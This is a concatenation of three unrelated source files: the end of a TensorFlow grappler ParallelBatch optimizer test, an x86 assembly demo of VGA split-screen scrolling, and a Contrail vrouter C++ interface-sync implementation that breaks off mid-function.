NDef("stop", "Const", {}, {{"value", 10}, {"dtype", DT_INT32}}),
NDef("step", "Const", {}, {{"value", 1}, {"dtype", DT_INT32}}),
NDef("range", "RangeDataset", {"start", "stop", "step"}, {}),
NDef("batch_size", "Const", {}, {{"value", 5}, {"dtype", DT_INT32}}),
NDef("drop_remainder", "Const", {},
{{"value", false}, {"dtype", DT_BOOL}}),
NDef("batch", "PaddedBatchDatasetV2",
{"range", "batch_size", "drop_remainder"}, {})});
ParallelBatch optimizer;
GraphDef output;
TF_ASSERT_OK(optimizer.Optimize(nullptr, item, &output));
EXPECT_TRUE(graph_utils::ContainsGraphNodeWithName("batch", output));
int index = graph_utils::FindGraphNodeWithName("batch", output);
EXPECT_TRUE(output.node(index).attr().at("parallel_copy").b());
}
} // namespace
} // namespace grappler
} // namespace tensorflow
|
global start
%include 'common.inc'
IS_VGA equ 1 ;set to 0 to assemble for EGA
WORD_OUTS_OK equ 1 ;set to 0 to assemble for
; computers that can't handle
; word outs to indexed VGA registers
SCREEN_WIDTH equ 640
SCREEN_HEIGHT equ 350
TEXT_LINE_NUM equ 25
BACKGROUND_PATTER_START equ 8000h
section code
start:
mov ax, data
mov ds, ax
SET_VIDEO_MODE MODE_V640x350x16
; Put text into display memory starting at offset 0, with each row
; labelled as to number. This is the part of memory that will be
; displayed in the split screen portion of the display.
mov cx, TEXT_LINE_NUM ; number of lines of text to draw
.FillSplitScreenLoop:
mov dh, TEXT_LINE_NUM
sub dh, cl
xor dl, dl
SET_CURSOR_POS dl, dh
mov al, TEXT_LINE_NUM
sub al, cl
aam ; ah = al / 10, al = al % 10
xchg al, ah
add ax, '00'
mov [DigitInsert], ax
SHOW_MESSAGE data, SplitScreenMsg
loop .FillSplitScreenLoop
; Fill display memory starting at 8000h with a diagonally striped
; pattern.
mov ax, VGA_VIDEO_SEGMENT
mov es, ax
mov di, BACKGROUND_PATTER_START
mov dx, SCREEN_HEIGHT
mov ax, 1000100010001000b ; starting pattern
cld
.RowLoop:
mov cx, SCREEN_WIDTH/8/2 ; fill one scan line a word at a time
rep stosw
ror ax, 1
dec dx
jnz .RowLoop
; Set the start address to 8000h and display that part of memory.
mov word [StartAddress], BACKGROUND_PATTER_START
call SetStartAddress
; Slide the split screen half way up the screen and then back down
; a quarter of the screen.
mov word [SplitScreenLine], SCREEN_HEIGHT-1 ;set the initial line just off the bottom of the screen
mov cx, SCREEN_HEIGHT/2
call SplitScreenUp
mov cx, SCREEN_HEIGHT/4
call SplitScreenDown
; Now move up another half a screen and then back down a quarter.
mov cx, SCREEN_HEIGHT/2
call SplitScreenUp
mov cx, SCREEN_HEIGHT/4
call SplitScreenDown
; Finally move up to the top of the screen.
mov cx,SCREEN_HEIGHT/2-2
call SplitScreenUp
WAIT_FOR_KEYPRESS
; Turn the split screen off.
mov word [SplitScreenLine], 0ffffh
call SetSplitScreenScanLine
WAIT_FOR_KEYPRESS
; Display the memory at 0 (the same memory the split screen displays).
mov word [StartAddress],0
call SetStartAddress
; Flip between the split screen and the normal screen every 10th
; frame until a key is pressed.
.FlipFlop:
xor word [SplitScreenLine],0ffffh
call SetSplitScreenScanLine
mov cx, 10
.CountVerticalSyncsLoop:
call WaitForVerticalSyncEnd
loop .CountVerticalSyncsLoop
CHECK_KEYPRESS
test al, al
jz .FlipFlop
WAIT_FOR_KEYPRESS ; clear character
.exit:
SET_VIDEO_MODE MODE_T80x50
EXIT 0
; Sets the start address to the value specifed by StartAddress.
SetStartAddress:
call WaitForVerticalSyncEnd
cli
WITH_PORT CRTC, CRTC_START_ADDRESS_HIGH
mov al, byte [StartAddress+1]
out dx, al
WITH_PORT CRTC, CRTC_START_ADDRESS_LOW
mov al, byte[StartAddress]
out dx, al
sti
ret
SetSplitScreenScanLine:
multipush ax, cx, dx
; Wait for the trailing edge of vertical sync before setting so that
; one half of the address isn't loaded before the start of the frame
; and the other half after, resulting in flicker as one frame is
; displayed with mismatched halves. The new start address won't be
; loaded until the start of the next frame; that is, one full frame
; will be displayed before the new start address takes effect.
call WaitForVerticalSyncEnd
cli
WITH_PORT CRTC, CRTC_LINE_COMPARE
mov al, byte[SplitScreenLine]
out dx, al
mov ah, byte[SplitScreenLine+1]
and ah, 1
mov cl, 4
shl ah, cl
%if IS_VGA
WITH_PORT CRTC, CRTC_OVERFLOW
in al, dx ;get the current Overflow reg setting
and al, ~10h ;turn off split screen bit 8
or al, ah ; new split screen bit 8
out dx, al
dec dx
mov ah, byte[SplitScreenLine+1]
and ah, 2
mov cl, 3
ror ah, cl ; move bit 9 of the split split screen scan line
; into position for the Maximum Scan Line register
WITH_PORT CRTC, CRTC_MAX_SCAN_LINE
in al, dx
and al, ~40h
or al, ah
out dx, al
%else
WITH_PORT CRTC, CRTC_OVERFLOW
or ah, 0fh
out dx, ah
%endif
sti
multipop ax, cx, dx
ret
SplitScreenUp:
.Loop:
dec word[SplitScreenLine]
call SetSplitScreenScanLine
loop .Loop
ret
SplitScreenDown:
.Loop:
inc word[SplitScreenLine]
call SetSplitScreenScanLine
loop .Loop
ret
section data
SplitScreenLine resw 1
StartAddress resw 1
SplitScreenMsg db 'Split screen text row #'
DigitInsert resw 1
db '...$',0
section stack stack
resb 256 |
/*
* Copyright (c) 2013 Juniper Networks, Inc. All rights reserved.
*/
#include <stdio.h>
#include <string.h>
#include <net/if.h>
#include <boost/asio.hpp>
#include <db/db_entry.h>
#include <db/db_table.h>
#include <db/db_table_partition.h>
#include <sandesh/sandesh_types.h>
#include <sandesh/sandesh.h>
#include <ksync/ksync_index.h>
#include <ksync/ksync_entry.h>
#include <ksync/ksync_object.h>
#include <ksync/ksync_netlink.h>
#include <ksync/ksync_sock.h>
#include "vrouter/ksync/agent_ksync_types.h"
#include "vr_types.h"
#include "base/logging.h"
#include "oper/interface_common.h"
#include "oper/mirror_table.h"
#include "ksync/ksync_index.h"
#include "interface_ksync.h"
#include "vr_interface.h"
#include "vhost.h"
#include "pkt/pkt_handler.h"
#include "vrouter/ksync/nexthop_ksync.h"
#include "vrouter/ksync/mirror_ksync.h"
#include "vnswif_listener.h"
#include "vrouter/ksync/ksync_init.h"
// Name of clone device for creating tap interface
#define TUN_INTF_CLONE_DEV "/dev/net/tun"
#define SOCK_RETRY_COUNT 4
InterfaceKSyncEntry::InterfaceKSyncEntry(InterfaceKSyncObject *obj,
const InterfaceKSyncEntry *entry,
uint32_t index) :
KSyncNetlinkDBEntry(index), analyzer_name_(entry->analyzer_name_),
drop_new_flows_(entry->drop_new_flows_),
dhcp_enable_(entry->dhcp_enable_),
fd_(kInvalidIndex),
flow_key_nh_id_(entry->flow_key_nh_id_),
has_service_vlan_(entry->has_service_vlan_),
interface_id_(entry->interface_id_),
interface_name_(entry->interface_name_),
ip_(entry->ip_), primary_ip6_(entry->primary_ip6_),
hc_active_(false), ipv4_active_(false),
layer3_forwarding_(entry->layer3_forwarding_),
ksync_obj_(obj), l2_active_(false),
metadata_l2_active_(entry->metadata_l2_active_),
metadata_ip_active_(entry->metadata_ip_active_),
bridging_(entry->bridging_),
proxy_arp_mode_(VmInterface::PROXY_ARP_NONE),
mac_(entry->mac_),
smac_(entry->smac_),
mirror_direction_(entry->mirror_direction_),
network_id_(entry->network_id_),
os_index_(Interface::kInvalidIndex),
parent_(entry->parent_),
policy_enabled_(entry->policy_enabled_),
sub_type_(entry->sub_type_),
vmi_device_type_(entry->vmi_device_type_),
vmi_type_(entry->vmi_type_),
type_(entry->type_),
rx_vlan_id_(entry->rx_vlan_id_),
tx_vlan_id_(entry->tx_vlan_id_),
vrf_id_(entry->vrf_id_),
persistent_(entry->persistent_),
subtype_(entry->subtype_),
xconnect_(entry->xconnect_),
no_arp_(entry->no_arp_),
encap_type_(entry->encap_type_),
display_name_(entry->display_name_),
transport_(entry->transport_),
flood_unknown_unicast_ (entry->flood_unknown_unicast_),
qos_config_(entry->qos_config_){
}
InterfaceKSyncEntry::InterfaceKSyncEntry(InterfaceKSyncObject *obj,
const Interface *intf) :
KSyncNetlinkDBEntry(kInvalidIndex),
analyzer_name_(),
drop_new_flows_(false),
dhcp_enable_(true),
fd_(-1),
flow_key_nh_id_(0),
has_service_vlan_(false),
interface_id_(intf->id()),
interface_name_(intf->name()),
ip_(0),
hc_active_(false),
ipv4_active_(false),
layer3_forwarding_(true),
ksync_obj_(obj),
l2_active_(false),
metadata_l2_active_(false),
metadata_ip_active_(false),
bridging_(true),
proxy_arp_mode_(VmInterface::PROXY_ARP_NONE),
mac_(),
smac_(),
mirror_direction_(Interface::UNKNOWN),
os_index_(intf->os_index()),
parent_(NULL),
policy_enabled_(false),
sub_type_(InetInterface::VHOST),
vmi_device_type_(VmInterface::DEVICE_TYPE_INVALID),
vmi_type_(VmInterface::VMI_TYPE_INVALID),
type_(intf->type()),
rx_vlan_id_(VmInterface::kInvalidVlanId),
tx_vlan_id_(VmInterface::kInvalidVlanId),
vrf_id_(intf->vrf_id()),
persistent_(false),
subtype_(PhysicalInterface::INVALID),
xconnect_(NULL),
no_arp_(false),
encap_type_(PhysicalInterface::ETHERNET),
transport_(Interface::TRANSPORT_INVALID),
flood_unknown_unicast_(false), qos_config_(NULL) {
if (intf->flow_key_nh()) {
flow_key_nh_id_ = intf->flow_key_nh()->id();
}
network_id_ = 0;
if (type_ == Interface::VM_INTERFACE) {
const VmInterface *vmitf =
static_cast<const VmInterface *>(intf);
ip_ = vmitf->primary_ip_addr().to_ulong();
primary_ip6_ = vmitf->primary_ip6_addr();
network_id_ = vmitf->vxlan_id();
rx_vlan_id_ = vmitf->rx_vlan_id();
tx_vlan_id_ = vmitf->tx_vlan_id();
if (vmitf->parent()) {
InterfaceKSyncEntry tmp(ksync_obj_, vmitf->parent());
parent_ = ksync_obj_->GetReference(&tmp);
}
vmi_device_type_ = vmitf->device_type();
vmi_type_ = vmitf->vmi_type();
} else if (type_ == Interface::INET) {
const InetInterface *inet_intf =
static_cast<const InetInterface *>(intf);
sub_type_ = inet_intf->sub_type();
ip_ = inet_intf->ip_addr().to_ulong();
if (sub_type_ == InetInterface::VHOST) {
InterfaceKSyncEntry tmp(ksync_obj_, inet_intf->xconnect());
xconnect_ = ksync_obj_->GetReference(&tmp);
InterfaceKSyncEntry *xconnect = static_cast<InterfaceKSyncEntry *>
(xconnect_.get());
encap_type_ = xconnect->encap_type();
no_arp_ = xconnect->no_arp();
}
} else if (type_ == Interface::PHYSICAL) {
const PhysicalInterface *physical_intf =
static_cast<const PhysicalInterface *>(intf);
encap_type_ = physical_intf->encap_type();
no_arp_ = physical_intf->no_arp();
display_name_ = physical_intf->display_name();
ip_ = physical_intf->ip_addr().to_ulong();
}
}
InterfaceKSyncEntry::~InterfaceKSyncEntry() {
}
KSyncDBObject *InterfaceKSyncEntry::GetObject() const {
return ksync_obj_;
}
bool InterfaceKSyncEntry::IsLess(const KSyncEntry &rhs) const {
const InterfaceKSyncEntry &entry = static_cast
<const InterfaceKSyncEntry &>(rhs);
return interface_name_ < entry.interface_name_;
}
std::string InterfaceKSyncEntry::ToString() const {
std::stringstream s;
s << "Interface : " << interface_name_ << " Index : " << interface_id_;
const VrfEntry* vrf =
ksync_obj_->ksync()->agent()->vrf_table()->FindVrfFromId(vrf_id_);
if (vrf) {
s << " Vrf : " << vrf->GetName();
}
return s.str();
}
bool InterfaceKSyncEntry::Sync(DBEntry *e) {
Interface *intf = static_cast<Interface *>(e);
bool ret = false;
if (hc_active_ != intf->is_hc_active()) {
hc_active_ = intf->is_hc_active();
ret = true;
}
if (ipv4_active_ != intf->ipv4_active()) {
ipv4_active_ = intf->ipv4_active();
ret = true;
}
if (l2_active_ != intf->l2_active()) {
l2_active_ = intf->l2_active();
ret = true;
}
if (os_index_ != intf->os_index()) {
os_index_ = intf->os_index();
ret = true;
}
if (intf->type() == Interface::VM_INTERFACE) {
VmInterface *vm_port = static_cast<VmInterface *>(intf);
if (vmi_device_type_ != vm_port->device_type()) {
vmi_device_type_ = vm_port->device_type();
ret = true;
}
if (vmi_type_ != vm_port->vmi_type()) {
vmi_type_ = vm_port->vmi_type();
ret = true;
}
if (drop_new_flows_ != vm_port->drop_new_flows()) {
drop_new_flows_ = vm_port->drop_new_flows();
ret = true;
}
if (dhcp_enable_ != vm_port->dhcp_enabled()) {
dhcp_enable_ = vm_port->dhcp_enabled();
ret = true;
}
if (ip_ != vm_port->primary_ip_addr().to_ulong()) {
ip_ = vm_port->primary_ip_addr().to_ulong();
ret = true;
}
if (primary_ip6_ != vm_port->primary_ip6_addr()) {
primary_ip6_ = vm_port->primary_ip6_addr();
ret = true;
}
if (layer3_forwarding_ != vm_port->layer3_forwarding()) {
layer3_forwarding_ = vm_port->layer3_forwarding();
ret = true;
}
if (flood_unknown_unicast_ != vm_port->flood_unknown_unicast()) {
flood_unknown_unicast_ = vm_port->flood_unknown_unicast();
ret = true;
}
if (bridging_ != vm_port->bridging()) {
bridging_ = vm_port->bridging();
ret = true;
}
if (proxy_arp_mode_ != vm_port->proxy_arp_mode()) {
proxy_arp_mode_ = vm_port->proxy_arp_mode();
ret = true;
}
if (rx_vlan_id_ != vm_port->rx_vlan_id()) {
rx_vlan_id_ = vm_port->rx_vlan_id();
ret = true;
}
if (tx_vlan_id_ != vm_port->tx_vlan_id()) {
tx_vlan_id_ = vm_port->tx_vlan_id();
ret = true;
}
KSyncEntryPtr parent = NULL;
if (vm_port->parent()) {
InterfaceKSyncEntry tmp(ksync_obj_, vm_port->parent());
parent = ksync_obj_->GetReference(&tmp);
}
if (parent_ != parent) {
parent_ = parent;
ret = true;
}
if (metadata_l2_active_ !=
vm_port->metadata_l2_active()) {
metadata_l2_active_ =
vm_port->metadata_l2_active();
ret = true;
}
if (metadata_ip_active_ !=
vm_port->metadata_ip_active()) {
metadata_ip_active_ =
vm_port->metadata_ip_active();
ret = true;
}
}
uint32_t vrf_id = VIF_VRF_INVALID;
bool policy_enabled = false;
std::string analyzer_name;
Interface::MirrorDirection mirror_direction = Interface::UNKNOWN;
bool has_service_vlan = false;
if (l2_active_ || ipv4_active_ || metadata_l2_active_ || metadata_ip_active_) {
vrf_id = intf->vrf_id();
if (vrf_id == VrfEntry::kInvalidIndex) {
vrf_id = VIF_VRF_INVALID;
}
if (intf->type() == Interface::VM_INTERFACE) {
VmInterface *vm_port = static_cast<VmInterface *>(intf);
has_service_vlan = vm_port->HasServiceVlan();
policy_enabled = vm_port->policy_enabled();
analyzer_name = vm_port->GetAnalyzer();
mirror_direction = vm_port->mirror_direction();
if (network_id_ != vm_port->vxlan_id()) {
network_id_ = vm_port->vxlan_id();
ret = true;
}
}
}
if (intf->type() == Interface::INET) {
InetInterface *vhost = static_cast<InetInterface *>(intf);
sub_type_ = vhost->sub_type();
if (ip_ != vhost->ip_addr().to_ulong()) {
ip_ = vhost->ip_addr().to_ulong();
ret = true;
}
InetInterface *inet_interface = static_cast<InetInterface *>(intf);
if (sub_type_ == InetInterface::VHOST) {
KSyncEntryPtr xconnect = NULL;
if (inet_interface->xconnect()) {
InterfaceKSyncEntry tmp(ksync_obj_, inet_interface->xconnect());
xconnect = ksync_obj_->GetReference(&tmp);
}
if (xconnect_ != xconnect) {
xconnect_ = xconnect;
ret = true;
}
}
}
KSyncEntryPtr qos_config = NULL;
QosConfigKSyncObject *qos_object =
static_cast<InterfaceKSyncObject *>(ksync_obj_)->ksync()->
qos_config_ksync_obj();
if (intf->qos_config() != NULL) {
QosConfigKSyncEntry tmp(qos_object, intf->qos_config());
qos_config = qos_object->GetReference(&tmp);
}
if (qos_config != qos_config_) {
qos_config_ = qos_config;
ret = true;
}
if (vrf_id != vrf_id_) {
vrf_id_ = vrf_id;
ret = true;
}
if (policy_enabled_ != policy_enabled) {
policy_enabled_ = policy_enabled;
ret = true;
}
if (analyzer_name_ != analyzer_name) {
analyzer_name_ = analyzer_name;
ret = true;
}
if (mirror_direction_ != mirror_direction) {
mirror_direction_ = mirror_direction;
ret = true;
}
if (has_service_vlan_ != has_service_vlan) {
has_service_vlan_ = has_service_vlan;
ret = true;
}
InterfaceTable *table = static_cast<InterfaceTable *>(intf->get_table());
MacAddress dmac;
switch (intf->type()) {
case Interface::VM_INTERFACE:
{ const VmInterface *vm_intf = static_cast<const VmInterface *>(intf);
if (fat_flow_list_.list_ != vm_intf->fat_flow_list().list_) {
fat_flow_list_ = vm_intf->fat_flow_list();
ret = true;
}
std::set<MacAddress> aap_mac_list;
for (VmInterface::AllowedAddressPairSet::iterator aap_it =
vm_intf->allowed_address_pair_list().list_.begin();
aap_it != vm_intf->allowed_address_pair_list().list_.end();
++aap_it) {
aap_mac_list.insert(aap_it->mac_);
}
if (aap_mac_list_ != aap_mac_list) {
aap_mac_list_.swap(aap_mac_list);
ret = true;
}
}
case Interface::PACKET:
dmac = table->agent()->vrrp_mac();
break;
case Interface::PHYSICAL:
{
dmac = intf->mac();
PhysicalInterface *phy_intf = static_cast<PhysicalInterface *>(intf);
persistent_ = phy_intf->persistent();
subtype_ = phy_intf->subtype();
break;
}
case Interface::INET: {
dmac = intf->mac();
bool no_arp = false;
PhysicalInterface::EncapType encap = PhysicalInterface::ETHERNET;
InterfaceKSyncEntry *xconnect = static_cast<InterfaceKSyncEntry *>
(xconnect_.get());
if (xconnect) {
no_arp = xconnect->no_arp();
encap = xconnect->encap_type();
}
if (no_arp_ != no_arp) {
no_arp_ = no_arp;
ret = true;
}
if (encap_type_ != encap) {
encap_type_ = encap;
ret = true;
}
break;
}
case Interface::LOGICAL:
case Interface::REMOTE_PHYSICAL:
dmac = intf->mac();
break;
default:
assert(0);
}
if (dmac != mac()) {
mac_ = dmac;
ret = true;
}
// In VMWare VCenter mode, interface is assigned using the SMAC
// in packet. Store the SMAC for interface
MacAddress smac;
if (intf->type() == Interface::VM_INTERFACE &&
(ksync_obj_->ksync()->agent()->isVmwareVcenterMode() ||
ksync_obj_->ksync()->agent()->server_gateway_mode())) {
const VmInterface *vm_intf = static_cast<const VmInterface *>(intf);
smac = MacAddress(vm_intf->vm_mac());
}
if (smac != smac_) {
smac_ = smac;
ret = true;
}
//Nexthop index gets used in flow key, vrouter just treats
//it as an index and doesnt cross check against existence of nexthop,
//hence there is no need to make sure that nexthop is programmed
//before flow key nexthop index is set in interface
//Nexthop index 0 if set in interface is treated as invalid index,
//and packet would be dropped if such a packet needs to go thru
//flow lookup
uint32_t nh_id = 0;
if (intf->flow_key_nh()) {
nh_id = intf->flow_key_nh()->id();
}
if (nh_id != flow_key_nh_id_) {
flow_key_nh_id_ = nh_id;
ret = true;
}
if (transport_ != intf->transport()) {
transport_ = intf->transport();
ret = true;
}
return ret;
}
KSyncEntry *InterfaceKSyncEntry::UnresolvedReference() {
if (qos_config_.get() && qos_config_->IsResolved() == false) {
return qos_config_.get();
}
if (type_ == Interface::INET && sub_type_ == InetInterface::VHOST) {
if (xconnect_.get() && !xconnect_->IsResolved()) {
return xconnect_.get();
}
}
if (type_ != Interface::VM_INTERFACE) {
return NULL;
}
if (parent_.get() && !parent_->IsResolved()) {
return parent_.get();
}
if (!analyzer_name_.empty()) {
MirrorKSyncObject *mirror_object =
ksync_obj_->ksync()->mirror_ksync_obj();
MirrorKSyncEntry mksync1(mirror_object, analyzer_name_);
MirrorKSyncEntry *mirror =
static_cast<MirrorKSyncEntry *>(mirror_object->GetReference(&mksync1));
if (mirror && !mirror->IsResolved()) {
return mirror;
}
}
return NULL;
}
bool IsValidOsIndex(size_t os_index, Interface::Type type, uint16_t vlan_id,
VmInterface::VmiType vmi_type, Interface::Transport transport) {
if (transport != Interface::TRANSPORT_ETHERNET) {
return true;
}
if (os_index != Interface::kInvalidIndex)
return true;
if (type == Interface::VM_INTERFACE &&
vlan_id != VmInterface::kInvalidVlanId) {
return true;
}
if (vmi_type == VmInterface::GATEWAY ||
vmi_type == VmInterface::REMOTE_VM) {
return true;
}
return false;
}
int InterfaceKSyncEntry::Encode(sandesh_op::type op, char *buf, int buf_len) {
vr_interface_req encoder;
int encode_len;
uint32_t flags = 0;
encoder.set_h_op(op);
if (op == sandesh_op::DELETE) {
encoder.set_vifr_idx(interface_id_);
int error = 0;
encode_len = encoder.WriteBinary((uint8_t *)buf, buf_len, &error);
assert(error == 0);
assert(encode_len <= buf_len);
return encode_len;
}
if (qos_config_.get() != NULL) {
QosConfigKSyncEntry *qos_config =
static_cast<QosConfigKSyncEntry *>(qos_config_.get());
encoder.set_vifr_qos_map_index(qos_config->id());
} else {
encoder.set_vifr_qos_map_index(-1);
}
switch (type_) {
case Interface::VM_INTERFACE: {
if (vmi_device_type_ == VmInterface::TOR)
return 0;
if (drop_new_flows_) {
flags |= VIF_FLAG_DROP_NEW_FLOWS;
}
if (dhcp_enable_) {
flags |= VIF_FLAG_DHCP_ENABLED;
}
if (bridging_) {
flags |= VIF_FLAG_L2_ENABLED;
}
if (vmi_type_ == VmInterface::GATEWAY) {
flags |= VIF_FLAG_NO_ARP_PROXY;
}
if (flood_unknown_unicast_) {
flags |= VIF_FLAG_UNKNOWN_UC_FLOOD;
}
if (proxy_arp_mode_ == VmInterface::PROXY_ARP_UNRESTRICTED) {
flags |= VIF_FLAG_MAC_PROXY;
}
MacAddress mac;
if (parent_.get() != NULL) {
encoder.set_vifr_type(VIF_TYPE_VIRTUAL_VLAN);
if ((vmi_type_ == VmInterface::GATEWAY ||
vmi_type_ == VmInterface::REMOTE_VM) &&
tx_vlan_id_ == VmInterface::kInvalidVlanId) {
//By default in case of gateway, untagged packet
//would be considered as belonging to interface
//at tag 0
encoder.set_vifr_vlan_id(0);
encoder.set_vifr_ovlan_id(0);
} else {
encoder.set_vifr_vlan_id(rx_vlan_id_);
encoder.set_vifr_ovlan_id(tx_vlan_id_);
}
InterfaceKSyncEntry *parent =
(static_cast<InterfaceKSyncEntry *> (parent_.get()));
encoder.set_vifr_parent_vif_idx(parent->interface_id());
mac = parent->mac();
} else {
mac = ksync_obj_->ksync()->agent()->vrrp_mac();
encoder.set_vifr_type(VIF_TYPE_VIRTUAL);
}
std::vector<int8_t> intf_mac((int8_t *)mac,
(int8_t *)mac + mac.size());
encoder.set_vifr_mac(intf_mac);
if (ksync_obj_->ksync()->agent()->isVmwareVcenterMode() ||
(ksync_obj_->ksync()->agent()->server_gateway_mode() &&
vmi_type_ == VmInterface::REMOTE_VM)) {
std::vector<int8_t> mac;
mac.insert(mac.begin(), (const int8_t *)smac(),
(const int8_t *)smac() + smac().size());
for (std::set<MacAddress>::iterator it = aap_mac_list_.begin();
it != aap_mac_list_.end(); ++it) {
mac.insert(mac.end(), (const int8_t *)(*it),
(const int8_t *)(*it) + (*it).size());
}
encoder.set_vifr_src_mac(mac);
flags |= VIF_FLAG_MIRROR_NOTAG;
}
// Disable fat-flow when health-check status is inactive
// If fat-flow is active, then following problem happens,
// 1. Health Check Request from vhost0 interface creates a flow
// 2. Health Check response is received from VMI with fat-flow
// - Response creates new flow due to fat-flow configuration
// - If health-check status is inactive routes for interface are
// withdrawn
// - Flow created from response fails due to missing routes
// If fat-flow is disabled, the reverse packet hits flow created (1)
// and succeeds
if (hc_active_ && fat_flow_list_.list_.size() != 0) {
std::vector<int32_t> fat_flow_list;
for (VmInterface::FatFlowEntrySet::const_iterator it =
fat_flow_list_.list_.begin(); it != fat_flow_list_.list_.end();
it++) {
fat_flow_list.push_back(it->protocol << 16 | it->port);
}
encoder.set_vifr_fat_flow_protocol_port(fat_flow_list);
}
if (!primary_ip6_.is_unspecified()) {
uint64_t data[2];
Ip6AddressToU64Array(primary_ip6_, data, 2);
encoder.set_vifr_ip6_u(data[0]);
encoder.set_vifr_ip6_l(data[1]);
}
break;
}
case Interface::PHYSICAL: {
encoder.set_vifr_type(VIF_TYPE_PHYSICAL);
flags |= VIF_FLAG_L3_ENABLED;
flags |= VIF_FLAG_L2_ENABLED;
if (!persistent_) {
flags |= VIF_FLAG_VHOST_PHYS;
}
if (subtype_ == PhysicalInterface::VMWARE ||
ksync_obj_->ksync()->agent()->server_gateway_mode()) {
flags |= VIF_FLAG_PROMISCOUS;
}
if (subtype_ == PhysicalInterface::CONFIG) {
flags |= VIF_FLAG_NATIVE_VLAN_TAG;
}
encoder.set_vifr_name(display_name_);
break;
}
case Interface::INET: {
switch (sub_type_) {
case InetInterface::SIMPLE_GATEWAY:
encoder.set_vifr_type(VIF_TYPE_GATEWAY);
break;
case InetInterface::LINK_LOCAL:
encoder.set_vifr_type(VIF_TYPE_XEN_LL_HOST);
break;
case InetInterface::VHOST:
encoder.set_vifr_type(VIF_TYPE_HOST);
if (xconnect_.get()) {
InterfaceKSyncEntry *xconnect =
static_cast<InterfaceKSyncEntry *>(xconnect_.get());
encoder.set_vifr_cross_connect_idx(xconnect->os_index_);
} else {
encoder.set_vifr_cross_connect_idx(Interface::kInvalidIndex);
}
break;
default:
encoder.set_vifr_type(VIF_TYPE_HOST);
break;
}
flags |= VIF_FLAG_L3_ENABLED;
flags |= VIF_FLAG_L2_ENABLED;
break;
}
case Interface::PACKET: {
encoder.set_vifr_type(VIF_TYPE_AGENT);
flags |= VIF_FLAG_L3_ENABLED;
break;
}
default:
assert(0);
}
if (layer3_forwarding_) {
flags |= VIF_FLAG_L3_ENABLED;
if (policy_enabled_) {
flags |= VIF_FLAG_POLICY_ENABLED;
}
MirrorKSyncObject* obj = ksync_obj_->ksync()->mirror_ksync_obj();
if (!analyzer_name_.empty()) {
uint16_t idx = obj->GetIdx(analyzer_name_);
if (Interface::MIRROR_TX == mirror_direction_) {
flags |= VIF_FLAG_MIRROR_TX;
} else if (Interface::MIRROR_RX == mirror_direction_) {
flags |= VIF_FLAG_MIRROR_RX;
} else {
flags |= VIF_FLAG_MIRROR_RX;
flags |= VIF_FLAG_MIRROR_TX;
}
encoder.set_vifr_mir_id(idx);
const VrfEntry* vrf =
ksync_obj_->ksync()->agent()->vrf_table()->FindVrfFromId(vrf_id_);
if (vrf && vrf->vn()) {
const std::string &vn_name = vrf->vn()->GetName() ;
// TLV for RX Mirror
std::vector<int8_t> srcdata;
srcdata.push_back(FlowEntry::PCAP_SOURCE_VN);
srcdata.push_back(vn_name.size());
srcdata.insert(srcdata.end(), vn_name.begin(),
vn_name.end());
srcdata.push_back(FlowEntry::PCAP_TLV_END);
srcdata.push_back(0x0);
encoder.set_vifr_in_mirror_md(srcdata);
// TLV for TX Mirror
std::vector<int8_t> destdata;
destdata.push_back(FlowEntry::PCAP_DEST_VN);
destdata.push_back(vn_name.size());
destdata.insert(destdata.end(), vn_name.begin(),
vn_name.end());
destdata.push_back(FlowEntry::PCAP_TLV_END);
destdata.push_back(0x0);
encoder.set_vifr_out_mirror_md(destdata);
}
}
if (has_service_vlan_) {
flags |= VIF_FLAG_SERVICE_IF;
}
}
encoder.set_vifr_mac(std::vector<int8_t>((const int8_t *)mac(),
(const int8_t *)mac() + mac().size()));
switch(transport_) {
case Interface::TRANSPORT_ETHERNET: {
encoder.set_vifr_transport(VIF_TRANSPORT_ETH);
break;
}
case Interface::TRANSPORT_SOCKET: {
encoder.set_vifr_transport(VIF_TRANSPORT_SOCKET);
break;
}
case Interface::TRANSPORT_PMD: {
encoder.set_vifr_transport(VIF_TRANSPORT_PMD);
break;
}
default:
break;
}
encoder.set_vifr_flags(flags);
encoder.set_vifr_vrf(vrf_id_);
encoder.set_vifr_idx(interface_id_);
encoder.set_vifr_rid(0);
encoder.set_vifr_os_idx(os_index_);
encoder.set_vifr_mtu(0);
if (type_ != Interface::PHYSICAL) {
encoder.set_vifr_name(interface_name_);
}
encoder.set_vifr_ip(htonl(ip_));
encoder.set_vifr_nh_id(flow_key_nh_id_);
int error = 0;
encode_len = encoder.WriteBinary((uint8_t *)buf, buf_len, &error);
assert(error == 0);
assert(encode_len <= buf_len);
return encode_len;
}
void InterfaceKSyncEntry::FillObjectLog(sandesh_op::type op,
KSyncIntfInfo &info) const {
info.set_name(interface_name_);
info.set_idx(interface_id_);
if (op == sandesh_op::ADD) {
info.set_operation("ADD/CHANGE");
} else {
info.set_operation("DELETE");
}
if (op == sandesh_op::ADD) {
info.set_os_idx(os_index_);
info.set_vrf_id(vrf_id_);
info.set_hc_active(hc_active_);
info.set_l2_active(l2_active_);
info.set_active(ipv4_active_);
info.set_policy_enabled(policy_enabled_);
info.set_service_enabled(has_service_vlan_);
info.set_analyzer_name(analyzer_name_);
std::vector<KSyncIntfFatFlowInfo> fat_flows;
for (VmInterface::FatFlowEntrySet::const_iterator it =
fat_flow_list_.list_.begin(); it != fat_flow_list_.list_.end();
it++) {
KSyncIntfFatFlowInfo info;
info.set_protocol(it->protocol);
info.set_port(it->port);
fat_flows.push_back(info);
}
info.set_fat_flows(fat_flows);
}
}
int InterfaceKSyncEntry::AddMsg(char *buf, int buf_len) {
KSyncIntfInfo info;
FillObjectLog(sandesh_op::ADD, info);
KSYNC_TRACE(Intf, GetObject(), info);
return Encode(sandesh_op::ADD, buf, buf_len);
}
int InterfaceKSyncEntry::DeleteMsg(char *buf, int buf_len) {
KSyncIntfInfo info;
FillObjectLog(sandesh_op::DELETE, info);
KSYNC_TRACE(Intf, GetObject(), info);
return Encode(sandesh_op::DELETE, buf, buf_len);
}
int InterfaceKSyncEntry::ChangeMsg(char *buf, int buf_len) {
return AddMsg(buf, buf_len);
}
InterfaceKSyncObject::InterfaceKSyncObject(KSync *ksync) :
KSyncDBObject("KSync Interface"), ksync_(ksync) {
}
InterfaceKSyncObject::~InterfaceKSyncObject() {
}
void InterfaceKSyncObject::RegisterDBClients() {
RegisterDb(ksync_->agent()->interface_table());
}
KSyncEntry *InterfaceKSyncObject::Alloc(const KSyncEntry *entry,
uint32_t index) {
const InterfaceKSyncEntry *intf =
static_cast<const InterfaceKSyncEntry *>(entry);
InterfaceKSyncEntry *ksync = new InterfaceKSyncEntry(this, intf, index);
